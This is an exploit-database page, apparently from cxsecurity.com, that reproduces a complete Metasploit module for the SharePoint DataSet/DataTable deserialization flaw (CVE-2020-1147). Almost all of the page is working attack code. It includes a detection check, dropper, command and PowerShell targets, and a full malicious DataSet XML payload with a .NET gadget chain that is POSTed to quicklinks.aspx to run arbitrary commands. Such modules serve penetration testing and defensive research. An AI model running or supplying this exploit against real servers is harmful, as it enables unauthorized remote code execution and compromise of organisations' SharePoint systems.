SharePoint DataSet / DataTable Deserialization

2020.08.01
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SharePoint DataSet / DataTable Deserialization', 'Description' => %q{ A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated attacker to execute code within the context of the SharePoint application service. The privileges in this execution context are determined by the account that is specified when SharePoint is installed and configured. The vulnerability is related to a failure to validate the source of XML input data, leading to an unsafe deserialization operation that can be triggered from a page that initializes either the ContactLinksSuggestionsMicroView type or a derivative of it. In a default configuration, a Domain User account is sufficient to access SharePoint and exploit this vulnerability. }, 'Author' => [ 'Steven Seeley', # detailed vulnerability write up and the DataSet gadget 'Soroush Dalili', # usable endpoint testing and confirmation 'Spencer McIntyre' # this metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-1147'], ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html'] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows EXE Dropper', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper ], [ 'Windows Command', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 7500 ], [ 'Windows Powershell', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_powershell ] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => '2020-07-14', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]), OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]), OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', '' ]) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'), 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'vars_get' => { 'Mode' => 'Suggestion' } }) return CheckCode::Unknown('Failed to authenticate to the server.') if res&.code == 401 return CheckCode::Safe('Failed to identify that SharePoint is running.') unless res&.code == 200 && res.headers['MicrosoftSharePointTeamServices'] html = res.get_html_document return CheckCode::Safe if html.xpath('//html/body/form[@action]').select do |node| node['action'] =~ /quicklinks.aspx\?Mode=Suggestion/i end.empty? CheckCode::Detected('Received the quicklinks HTML form.') end def exploit case target['Type'] when :windows_command execute_command(payload.encoded) when :windows_dropper cmd_target = targets.select { |target| target['Type'] == :windows_command }.first execute_cmdstager({ linemax: cmd_target.opts['Space'] }) when :windows_powershell execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)) end end def execute_command(cmd, _opts = {}) serialized = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate( cmd, gadget_chain: :TextFormattingRunProperties, formatter: :LosFormatter )) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'), 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'vars_get' => { 'Mode' => 'Suggestion' }, 'vars_post' => { '__viewstate' => '', '__SUGGESTIONSCACHE__' => Nokogiri::XML(<<-DATASET, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{serialized}</anyType> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet> DATASET } }) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command') end res end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top